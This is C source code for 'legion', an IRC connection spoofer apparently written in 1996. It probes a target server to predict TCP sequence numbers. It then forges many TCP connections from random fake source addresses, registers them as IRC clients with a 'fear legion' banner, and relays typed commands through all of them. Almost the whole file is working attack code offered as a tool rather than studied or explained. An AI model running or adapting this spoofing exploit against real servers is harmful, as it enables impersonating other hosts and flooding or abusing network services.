/*
 * legion - legion irc sequencer (1.0)
 * coded by asmodean
 *
 * usage:
 *   ts <dest> <dest port> <num connects> [offset]
 *
 *         dest = the system we're spoofing onto
 *    dest port = the destination port.. (duh?)
 *      num con = how many connections to spoof
 *       offset = the offset to use, 0 = attempt to determine it (default)
 */

#ifndef lint
static char idstr[] = "$Id:legion.c,v 1.0 1996/04/29 02:11:45 asmodean Exp $";
#endif

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netdb.h>
#include <signal.h>

/* from ping.c */
unsigned short in_cksum(addr, len)
  u_short *addr;
  int len;
{
  register int nleft = len;
  register u_short *w = addr;
  register int sum = 0;
  u_short answer = 0;

  /*
   * Our algorithm is simple, using a 32 bit accumulator (sum), we add
   * sequential 16 bit words to it, and at the end, fold back all the
   * carry bits from the top 16 bits into the lower 16 bits.
   */
  while (nleft > 1)  {
    sum += *w++;
    nleft -= 2;
  }

  /* mop up an odd byte, if necessary */
  if (nleft == 1) {
    *(u_char *)(&answer) = *(u_char *)w ;
    sum += answer;
  }

  /* add back carry outs from top 16 bits to low 16 bits */
  sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
  sum += (sum >> 16);                 /* add carry           */
  answer = ~sum;                      /* truncate to 16 bits */
  return(answer);
}

void randset(char *buf, unsigned short len) {
  char *junk = "abcdefghijklmnopqrstuvwxyz";
  unsigned short i;
  for (i = 0; i < len; i++) {
    srand(time(NULL) + (rand() % 232756623));
    buf[i] = junk[rand() % strlen(junk)];
  }
}

void abort() {
  printf("aborted!\n");
  exit(-1);
}

void recvtcp(s, buf, len) 
  int s;
  char *buf;
  int len;
{
  if (recvfrom(s, buf, len, 0, 0, 0) == -1) {
    perror("recvfrom");
    exit(1);
  }
}

void sendtcp(s, src, sport, dest, dport, addr, seq, ack, flags, data)
  int s;
  unsigned long src;
  unsigned short sport;
  unsigned long dest;
  unsigned short dport;
  struct sockaddr_in *addr;
  unsigned long seq;
  unsigned long ack;
  unsigned char flags;
  char *data;
{
  static char   *packet, *junk;
  struct iphdr  *ip;
  struct tcphdr *tcp;

  packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr) +
                           strlen(data));
  junk   = (char *) malloc(12 + sizeof(struct tcphdr) + strlen(data));

  ip  = (struct iphdr *)   packet;
  tcp = (struct tcphdr *) (packet + sizeof(struct iphdr));

  memset(packet, 0, sizeof(struct iphdr) + sizeof(struct tcphdr) + 
         strlen(data));

  ip->saddr    = src;
  ip->daddr    = dest;
  ip->version  = 4;
  ip->ihl      = 5; 
  ip->ttl      = 255;
  ip->protocol = IPPROTO_TCP;
  ip->id       = getpid();
  ip->tot_len  = htons(sizeof(struct iphdr) + sizeof(struct tcphdr) + 
                       strlen(data));

  ip->check = in_cksum(ip, sizeof(struct iphdr));

  tcp->th_sport = htons(sport);
  tcp->th_dport = htons(dport);
  tcp->th_seq   = htonl(seq);
  tcp->th_ack   = htonl(ack);
  tcp->th_off   = sizeof(struct tcphdr)/4;
  tcp->th_flags = flags;
  tcp->th_win   = htons(10052);

  memcpy(packet + sizeof(struct iphdr) + sizeof(struct tcphdr), data,
         strlen(data));

  memset(junk, 0, 12 + sizeof(struct tcphdr) + strlen(data));
  
  *((unsigned long *)   junk)       = ip->saddr;
  *((unsigned long *)  (junk + 4))  = ip->daddr;
  *((unsigned char *)  (junk + 9))  = ip->protocol;
  *((unsigned short *) (junk + 10)) = htons(sizeof(struct tcphdr) + strlen(data));
  *((struct tcphdr *)  (junk + 12)) = *tcp;

  memcpy(junk + 12 + sizeof(struct tcphdr), data, strlen(data));
  
  tcp->th_sum = in_cksum(junk, 12 + sizeof(struct tcphdr) + strlen(data));

  if (sendto(s, packet, sizeof(struct iphdr) + sizeof(struct tcphdr) + 
             strlen(data), 0, (struct sockaddr *)addr, 
             sizeof(struct sockaddr_in)) == -1) {
    perror("sendto");
    exit(1);
  }
}

struct client_con {
  unsigned long seq;
  unsigned long ack;
  unsigned long host;
  char user[9];
  char nick[9];
};

void legion(s, r, thisbox, dest, dport, addr, num_connects, known_offset) 
  int s;
  int r;
  unsigned long thisbox;
  unsigned long dest;
  unsigned short dport;
  struct sockaddr_in addr;
  unsigned long known_offset;
{
  unsigned long seq = 431337, valid_seq, new_seq, old_seq = 0, offset = 0;
  unsigned short seq_sport = 600, sport = 1024 + (random() % 31337), i;
  struct hostent *host;
  struct client_con *clients;

  char *packet, string[512];
  struct iphdr  *ip;
  struct tcphdr *tcp;

  packet  = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr));
  clients = (struct client_con *) malloc(num_connects * 
                                        sizeof(struct client_con));

  ip  = (struct iphdr *)   packet;
  tcp = (struct tcphdr *) (packet + sizeof(struct iphdr));

  for (i = 0; i < num_connects; i++) {
    randset(clients[i].user, 9);
    randset(clients[i].nick, 9);
    clients[i].host = rand();
    clients[i].seq  = 408618 + (i % rand());
  }

  if (!known_offset) {
    printf("# Attempting to predict TCP sequence...");
  }else{
    printf("# Getting a sample of the current tcp sequence...");
  }
  fflush(stdout);

  for (valid_seq = 0; !valid_seq; seq_sport++, seq++) {
    sendtcp(s, thisbox, seq_sport, dest, dport, &addr, seq, 0, TH_SYN, "");
    for (;;) {
      recvtcp(r, packet, sizeof(struct iphdr) + sizeof(struct tcphdr));
      if (ip->saddr != dest) {
        continue;
      }
      if (ntohs(tcp->th_dport) == seq_sport && ntohs(tcp->th_sport) == dport) {
        new_seq = htonl(tcp->th_seq);
        if (new_seq - old_seq == offset) {
          valid_seq++;
        }else{
          offset = new_seq - old_seq;
        }
        old_seq = new_seq;
        if (known_offset) {
          offset = known_offset;
          valid_seq++;
        }
        break;
      }
    }
    printf(".");
    fflush(stdout);
  } 
  printf("done! (offset - %lu)\n", offset);

  printf("# Spoofing %d connections...\n", num_connects);
  for (i = 0; i < num_connects; i++) {
    clients[i].ack = old_seq + (offset * (i + 1)) + 1;
    sendtcp(s, clients[i].host, sport + i, dest, dport, &addr, clients[i].seq++, 0, TH_SYN, "");
  }
  usleep(10000);

  for (i = 0; i < num_connects; i++) {
    sendtcp(s, clients[i].host, sport + i, dest, dport, &addr, clients[i].seq, 
            clients[i].ack, TH_ACK, "");
  }
  usleep(5000);

  for (i = 0; i < num_connects; i++) {
    memset(string, 0, 512);
    sprintf(string, "USER %s . . :\002fear legion\002\r\nNICK %s\r\n", 
            clients[i].user, clients[i].nick);
    sendtcp(s, clients[i].host, sport + i, dest, dport, &addr, clients[i].seq, 
            clients[i].ack, TH_ACK|TH_PUSH, string);
    clients[i].seq += strlen(string);
  }

  while (1) {
    memset(string, 0, 512);
    printf("# input> ");
    fflush(stdout);
    fgets(string, 512, stdin);
    for (i = 0; i < num_connects; i++) {
      sendtcp(s, clients[i].host, sport + i, dest, dport, &addr, clients[i].seq, 
              clients[i].ack, TH_ACK|TH_PUSH, string);
      clients[i].seq += strlen(string);
    }
  }
}

main(argc, argv)
  int argc;
  char *argv[];
{ 
  static int s = 0, r = 0;
  unsigned short num_connects;
  unsigned long dest, thisbox, offset = 0;
  struct hostent *host;
  struct sockaddr_in addr;
  char buf[128];

  if (argc < 4 || argc > 6) {
    printf("# legion irc sequencer (1.0)\n");
    printf("# coded by asmodean (through knowledge, power)\n");
    printf("usage: %s <dest> <dest port> <num con> [offset]\n", argv[0]);
    exit(-1);
  }

  num_connects = atoi(argv[3]);

  if (argc > 4) {
    offset = atoi(argv[4]);
  }
  gethostname(buf, 128);
  host = gethostbyname(buf);
  if (host == NULL) {
    printf("Can't get this machine's hostname\n");
    exit(1);
  }
  memcpy(&thisbox, host->h_addr, 4);

  memset(&addr, 0, sizeof(struct sockaddr_in));
  addr.sin_family      = AF_INET;
  addr.sin_addr.s_addr = inet_addr(argv[1]);
  if (addr.sin_addr.s_addr == -1) {
    host = gethostbyname(argv[1]);
    if (host == NULL) {
      printf("Unknown host %s.\n", argv[1]);
      exit(1);
    }
    addr.sin_family = host->h_addrtype;
    memcpy((caddr_t) &addr.sin_addr, host->h_addr, host->h_length);
    printf("# Target is %s (%s)\n", inet_ntoa(addr.sin_addr.s_addr), argv[1]);
  }else{
    printf("# Target is %s\n", argv[1]);
  }
  memcpy(&dest, (char *)&addr.sin_addr.s_addr, 4);

  s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (s == -1) { 
    perror("Getting raw send socket");
    exit(-1);
  }

  r = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  if (r == -1) {
    perror("Getting raw recv socket");
    exit(-1);
  }

  signal(SIGINT, abort);
  legion(s, r, thisbox, dest, atoi(argv[2]), addr, num_connects, offset);
}
